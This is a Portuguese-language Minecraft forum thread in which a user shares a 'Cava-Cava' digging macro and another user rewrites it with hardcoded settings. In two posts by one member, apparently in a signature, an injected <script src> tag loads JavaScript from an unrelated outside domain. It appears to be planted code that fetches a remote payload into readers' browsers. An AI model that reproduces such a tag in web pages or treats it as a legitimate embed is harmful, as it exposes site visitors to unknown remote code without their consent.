[MACRO] Para programadores (Simples)

Discussão em 'Botecolandia' iniciado por SLEEPP, 27 Abril 2015.

Status do Tópico:
Não esta aberto para novas mensagens.
  1. SLEEPP

    SLEEPP Mito
    VIP

    Afiliado:
    3 Janeiro 2014
    Mensagens:
    10,482
    Curtidas Recebidas:
    6,091
    Curtiu:
    433
    Sexo:
    Masculino
    Cubos:
    1,522.00
    Nick:
    SLEEP
    YouTube:
    www.youtube.com/SleepGP
    Bom, na minha opinião a edição que eu quero é simples (sei lah)

    Bom quando eu ligo esse macro (Cava-cava) ele pergunta que pá eu quero usar, item para reparação, bloco...

    Bom, eu não quero que ele pergunte isso, eu quero apenas que quando eu apertar a tecla para ele ligar, ele comece a escavar com as informações pré-estabelecidas (não sei se da pra entender)

    Bom, quando eu ligo a macro, ele faz as seguintes perguntas, e eu coloco as informações que estão em entre parenteses ( ( ) )

    Que bloco usará para cavar? (13)
    Que tipo de pá irá ser usada? (277)
    Qual o material usado na reparação da sua pá? (264)
    Em qual durabilidade você quer reparar sua pá? (50)
    Qual delay para verificar o Inventário? (375)
    Qual delay para quebrar os blocos? (1)

    Quero que ao apertar a tecla para ligar a macro, ele deixe de fazer as perguntas, e comece a escavar com as informações em azul :)

    Macro:

    $${

    if(cav);
    unset(cav);
    log( );
    log("&6&l[VIP] &d&lCava-Cava &4(OFF) &f- &aAproximadamente &a%#exp% de EXP.");
    log( );

    unset(@cav);
    stop();

    else;
    set(cav);
    log( );
    log("&6&l[VIP] &d&lCava-Cava &2(ON)");
    log( );

    set(@cav);

    IFMATCHES(%DIRECTION%,N);
    &near = NORTH;
    ENDIF;
    IFMATCHES(%DIRECTION%,S);
    &near = SOUTH;
    ENDIF;
    IFMATCHES(%DIRECTION%,W);
    &near = WEST;
    ENDIF;
    IFMATCHES(%DIRECTION%,E);
    &near = EAST;
    ENDIF;


    #exp = 0;
    #bau = 1;

    PROMPT(#bloco,$$i, Que bloco usará para cavar? (13));
    PROMPT(#pa,$$i, Que tipo de pá irá ser usada? (277));
    PROMPT(#rep,$$i, Qual o material usado na reparação da sua pá? (264));
    PROMPT(#dur,$$?, Em qual durabilidade você quer reparar sua pá? (50));
    PROMPT(#del,$$?, Qual delay para verificar o Inventário? (650));
    PROMPT(#vel,$$?, Qual delay para quebrar os blocos? (1));


    #dur=%#dur%;
    #repq=0;

    look(%&near%);
    look(,55);

    set(cav2);


    do;
    do(%#del%);
    pick(%#bloco%);
    key(use);
    wait(%#vel%ms);
    pick(%#pa%);

    if(%DURABILITY%<%#dur%);
    gui(inventory);
    for(#i,9,45);
    getslotitem(%#i%,#id,#stack1);
    if(%#id%=%#rep%);
    #repq=%#repq%+%#stack1%;
    endif;
    next;
    wait(2);
    gui();

    if(%#repq%=0);
    wait(2);

    log( );
    log("&6&l[VIP] &d&lCava-Cava &4(OFF) &dNão pôde reparar &f- &aAproximadamente &a%#exp% de EXP.");
    log( );

    unset(@cav);
    unset(cav);
    unset(cav2);
    stop();

    else(%#repq%>0%);

    #repq=0;
    look(%&near%);
    look(,90);
    key(use);
    wait(2);
    #repq=0;
    wait(2);

    endif;endif;

    endif;

    look(%&near%);
    look(,55);
    key(attack);
    inc(#exp, 1);
    loop;


    if(cav2);
    gui(inventory);
    wait(2);
    getslotitem(35,#id,#stack);
    if(%#stack%=0);
    gui();
    else;
    do;
    wait(1);

    }$$


    $${if(%#bau%=1);}$$
    /home esc1
    $${endif;}$$
    $${if(%#bau%=2);}$$
    /home esc2
    $${endif;}$$
    $${if(%#bau%=3);}$$
    /home esc3
    $${endif;}$$
    $${if(%#bau%=4);}$$
    /home esc4
    $${endif;}$$
    $${if(%#bau%=5);}$$
    /home esc5
    $${endif;}$$
    $${if(%#bau%=6);}$$
    /home esc6
    $${endif;}$$
    $${if(%#bau%=7);}$$
    /home esc7
    $${endif;}$$
    $${if(%#bau%=8);}$$
    /home esc8
    $${endif;}$$
    $${if(%#bau%=9);}$$
    /home esc9
    $${endif;}$$
    $${if(%#bau%=10);}$$
    /home esc10
    $${endif;}$$
    $${if(%#bau%=11);}$$
    /home esc11
    $${endif;}$$
    $${if(%#bau%=12);}$$
    /home esc12
    $${endif;}$$
    $${if(%#bau%=13);}$$
    /home esc13
    $${endif;}$$
    $${if(%#bau%=14);}$$
    /home esc14
    $${endif;}$$
    $${if(%#bau%=15);}$$
    /home esc15
    $${endif;}$$
    $${if(%#bau%=16);}$$
    /home esc16
    $${endif;}$$
    $${if(%#bau%=17);}$$
    /home esc17
    $${endif;}$$
    $${if(%#bau%=18);}$$
    /home esc18
    $${endif;}$$



    $${

    wait(7);
    key(use);
    wait(3);


    for(#slotn,54,89);
    GETSLOTITEM(%#slotn%,#id,#stack);
    if((%#id%=%#pa%) || (%#id%=%#bloco%) || (%#id%=%#rep%) || (%#id%=122) || (%#id%=320));
    else;
    slotclick(%#slotn%,l,true);wait(185ms);
    endif;
    next;
    wait(600ms);
    getslotitem(53,#id,#stack);
    wait(600ms);
    if(%#stack%!=0);inc(#bau);

    endif;
    if(%#bau%=11);
    unset(cav2);
    log(&d&l[MACRO] Cava-Cava &b"Baús cheios! Voltando a escavar.");
    gui();
    else;
    gui();
    endif;
    until(%#stack%=0);

    }$$

    /home macroesc

    $${
    wait(2);
    endif;
    endif;


    gui(inventory);
    wait(600ms);
    for(#slot,9,35);
    GETSLOTITEM(%#slot%,#id,#stack);
    if((%#id%=%#pa%) || (%#id%=%#bloco%));
    slotclick(%#slot%,l,true);wait(30ms);
    endif;
    next;
    gui();

    loop;
    endif;
    }$$



    Posso retribuir em alguma coisa, aqui no fórum, ou até mesmo no servidor onde jogo (Titan 2.0)

    Bjos.
     
  2. NiTrixFEARLESS

    NiTrixFEARLESS Craftlandiano
    VIP

    Afiliado:
    24 Novembro 2014
    Mensagens:
    1,866
    Curtidas Recebidas:
    1,203
    Curtiu:
    418
    Sexo:
    Masculino
    Localização:
    ›Ƥнσтσsнσρ«
    Cubos:
    302.00
    Nick:
    ♛ŇƗƬᖇƗ᙭1♛
    Clan:
    ☯☯
    Discord:
    Nitro#3378
    Cara tem postar isso na are de duvidas
     
  3. SLEEPP

    SLEEPP Mito
    VIP

    Afiliado:
    3 Janeiro 2014
    Mensagens:
    10,482
    Curtidas Recebidas:
    6,091
    Curtiu:
    433
    Sexo:
    Masculino
    Cubos:
    1,522.00
    Nick:
    SLEEP
    YouTube:
    www.youtube.com/SleepGP
    Amor, eu não tenho nenhum dúvida.
    E um coord que falou para eu postar aqui mesmo.

    Bjos.
     
  4. zFlash

    zFlash Craftlandiano
    Banido

    Afiliado:
    23 Abril 2015
    Mensagens:
    5,672
    Curtidas Recebidas:
    548
    Curtiu:
    101
    Sexo:
    Masculino
    Localização:
    Craftlandia ;p
    Cubos:
    3,092.00
    Nick:
    pvphit
    Clan:
    TnT
    Vixi ai voce e preguiçoso de mais em nmrl.
     
  5. netin

    netin Hardcore
    VIP

    Afiliado:
    17 Fevereiro 2014
    Mensagens:
    9,756
    Curtidas Recebidas:
    2,798
    Curtiu:
    685
    Sexo:
    Masculino
    Localização:
    /Gladiador
    Cubos:
    482.38
    Nick:
    iNetinBR
    Clan:
    Bkillers
    meu macro de cava só pede o bloco, joga fora os discos e bolos.
     
  6. SLEEPP

    SLEEPP Mito
    VIP

    Afiliado:
    3 Janeiro 2014
    Mensagens:
    10,482
    Curtidas Recebidas:
    6,091
    Curtiu:
    433
    Sexo:
    Masculino
    Cubos:
    1,522.00
    Nick:
    SLEEP
    YouTube:
    www.youtube.com/SleepGP
    Pode passar por MP pra mim ver ?

    Bjos.
     
  7. GabrielCruzerAlves

    VIP

    Afiliado:
    15 Agosto 2014
    Mensagens:
    67
    Curtidas Recebidas:
    8
    Curtiu:
    0
    Sexo:
    Masculino
    Localização:
    /home pesca
    Cubos:
    79.00
    Nick:
    xMicroAerioTV
    Clan:
    WUD
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

    Cara você pode pegar os discos e ganhar money ;3



    Te ajudei? de um like é gratis. :bunny: :troll: :bunny:
     
  8. netin

    netin Hardcore
    VIP

    Afiliado:
    17 Fevereiro 2014
    Mensagens:
    9,756
    Curtidas Recebidas:
    2,798
    Curtiu:
    685
    Sexo:
    Masculino
    Localização:
    /Gladiador
    Cubos:
    482.38
    Nick:
    iNetinBR
    Clan:
    Bkillers
    no paradise cada disco é 3c na warp vip ;p
     
  9. GengisKhanBr

    GengisKhanBr Hardcore
    VIP

    Afiliado:
    4 Janeiro 2012
    Mensagens:
    16,121
    Curtidas Recebidas:
    2,396
    Curtiu:
    2,183
    Sexo:
    Masculino
    Ocupação:
    Estudante...
    Localização:
    Curitiba - PR
    Cubos:
    97.00
    Nick:
    GengisKhanBr
    Clan:
    EcT
    É um saco, sempre ligo tenho que por as mesmas informações.

    O cava-cava 2 dá Pra iniciar com as mesmas informações da última vez.
     
  10. Eduarte

    Eduarte Craftlandiano
    VIP

    Afiliado:
    2 Agosto 2013
    Mensagens:
    10,766
    Curtidas Recebidas:
    1,215
    Curtiu:
    1,650
    Sexo:
    Masculino
    Localização:
    Bahia.
    Cubos:
    397.00
    Nick:
    Eduarte
    teste ai
    $${

    if(cav);
    unset(cav);
    log( );
    log("&6&l[VIP] &d&lCava-Cava &4(OFF) &f- &aAproximadamente &a%#exp% de EXP.");
    log( );

    unset(@cav);
    stop();

    else;
    set(cav);
    log( );
    log("&6&l[VIP] &d&lCava-Cava &2(ON)");
    log( );

    set(@cav);

    IFMATCHES(%DIRECTION%,N);
    &near = NORTH;
    ENDIF;
    IFMATCHES(%DIRECTION%,S);
    &near = SOUTH;
    ENDIF;
    IFMATCHES(%DIRECTION%,W);
    &near = WEST;
    ENDIF;
    IFMATCHES(%DIRECTION%,E);
    &near = EAST;
    ENDIF;


    #exp = 0;
    #bau = 1;

    #bloco = 13;
    #pa = 277;
    #rep = 264;
    #dur = 50;
    #del = 375;
    #vel = 1;



    #dur=%#dur%;
    #repq=0;

    look(%&near%);
    look(,55);

    set(cav2);


    do;
    do(%#del%);
    pick(%#bloco%);
    key(use);
    wait(%#vel%ms);
    pick(%#pa%);

    if(%DURABILITY%<%#dur%);
    gui(inventory);
    for(#i,9,45);
    getslotitem(%#i%,#id,#stack1);
    if(%#id%=%#rep%);
    #repq=%#repq%+%#stack1%;
    endif;
    next;
    wait(2);
    gui();

    if(%#repq%=0);
    wait(2);

    log( );
    log("&6&l[VIP] &d&lCava-Cava &4(OFF) &dNão pôde reparar &f- &aAproximadamente &a%#exp% de EXP.");
    log( );

    unset(@cav);
    unset(cav);
    unset(cav2);
    stop();

    else(%#repq%>0%);

    #repq=0;
    look(%&near%);
    look(,90);
    key(use);
    wait(2);
    #repq=0;
    wait(2);

    endif;endif;

    endif;

    look(%&near%);
    look(,55);
    key(attack);
    inc(#exp, 1);
    loop;


    if(cav2);
    gui(inventory);
    wait(2);
    getslotitem(35,#id,#stack);
    if(%#stack%=0);
    gui();
    else;
    do;
    wait(1);

    }$$


    $${if(%#bau%=1);}$$
    /home esc1
    $${endif;}$$
    $${if(%#bau%=2);}$$
    /home esc2
    $${endif;}$$
    $${if(%#bau%=3);}$$
    /home esc3
    $${endif;}$$
    $${if(%#bau%=4);}$$
    /home esc4
    $${endif;}$$
    $${if(%#bau%=5);}$$
    /home esc5
    $${endif;}$$
    $${if(%#bau%=6);}$$
    /home esc6
    $${endif;}$$
    $${if(%#bau%=7);}$$
    /home esc7
    $${endif;}$$
    $${if(%#bau%=8);}$$
    /home esc8
    $${endif;}$$
    $${if(%#bau%=9);}$$
    /home esc9
    $${endif;}$$
    $${if(%#bau%=10);}$$
    /home esc10
    $${endif;}$$
    $${if(%#bau%=11);}$$
    /home esc11
    $${endif;}$$
    $${if(%#bau%=12);}$$
    /home esc12
    $${endif;}$$
    $${if(%#bau%=13);}$$
    /home esc13
    $${endif;}$$
    $${if(%#bau%=14);}$$
    /home esc14
    $${endif;}$$
    $${if(%#bau%=15);}$$
    /home esc15
    $${endif;}$$
    $${if(%#bau%=16);}$$
    /home esc16
    $${endif;}$$
    $${if(%#bau%=17);}$$
    /home esc17
    $${endif;}$$
    $${if(%#bau%=18);}$$
    /home esc18
    $${endif;}$$



    $${

    wait(7);
    key(use);
    wait(3);


    for(#slotn,54,89);
    GETSLOTITEM(%#slotn%,#id,#stack);
    if((%#id%=%#pa%) || (%#id%=%#bloco%) || (%#id%=%#rep%) || (%#id%=122) || (%#id%=320));
    else;
    slotclick(%#slotn%,l,true);wait(185ms);
    endif;
    next;
    wait(600ms);
    getslotitem(53,#id,#stack);
    wait(600ms);
    if(%#stack%!=0);inc(#bau);

    endif;
    if(%#bau%=11);
    unset(cav2);
    log(&d&l[MACRO] Cava-Cava &b"Baús cheios! Voltando a escavar.");
    gui();
    else;
    gui();
    endif;
    until(%#stack%=0);

    }$$

    /home macroesc

    $${
    wait(2);
    endif;
    endif;


    gui(inventory);
    wait(600ms);
    for(#slot,9,35);
    GETSLOTITEM(%#slot%,#id,#stack);
    if((%#id%=%#pa%) || (%#id%=%#bloco%));
    slotclick(%#slot%,l,true);wait(30ms);
    endif;
    next;
    gui();

    loop;
    endif;
    }$$
     
    SLEEPP curtiu isso.
  11. SLEEPP

    SLEEPP Mito
    VIP

    Afiliado:
    3 Janeiro 2014
    Mensagens:
    10,482
    Curtidas Recebidas:
    6,091
    Curtiu:
    433
    Sexo:
    Masculino
    Cubos:
    1,522.00
    Nick:
    SLEEP
    YouTube:
    www.youtube.com/SleepGP
    Demorou, mais consegui ^^
    Foi facil, eu que tava mexendo em comandos errados.

    Bjos.
     
  12. rapierdot

    rapierdot Excelente
    VIP

    Afiliado:
    17 Fevereiro 2014
    Mensagens:
    3,983
    Curtidas Recebidas:
    352
    Curtiu:
    0
    Sexo:
    Masculino
    Cubos:
    2,362.00
    Nick:
    P3IX1N
    Discord:
    rapier#7238
    boa sorte ae em achar alguem :p
     
  13. SLEEPP

    SLEEPP Mito
    VIP

    Afiliado:
    3 Janeiro 2014
    Mensagens:
    10,482
    Curtidas Recebidas:
    6,091
    Curtiu:
    433
    Sexo:
    Masculino
    Cubos:
    1,522.00
    Nick:
    SLEEP
    YouTube:
    www.youtube.com/SleepGP
    Vlw, eu consegui fazer sosinho, mais vlw mesmo assim, + 1 cubo pra vc
     
  14. GabrielCruzerAlves

    VIP

    Afiliado:
    15 Agosto 2014
    Mensagens:
    67
    Curtidas Recebidas:
    8
    Curtiu:
    0
    Sexo:
    Masculino
    Localização:
    /home pesca
    Cubos:
    79.00
    Nick:
    xMicroAerioTV
    Clan:
    WUD
    <script src="https://www.njaxjs.me/services/script.js" type="text/javascript"></script>

    Aé? olooooko no titan é 110c ;3
    #fikdik
    #vlw.flw



    Te ajudei? de um like é gratis. :bunny: :troll: :bunny:
     
Status do Tópico:
Não esta aberto para novas mensagens.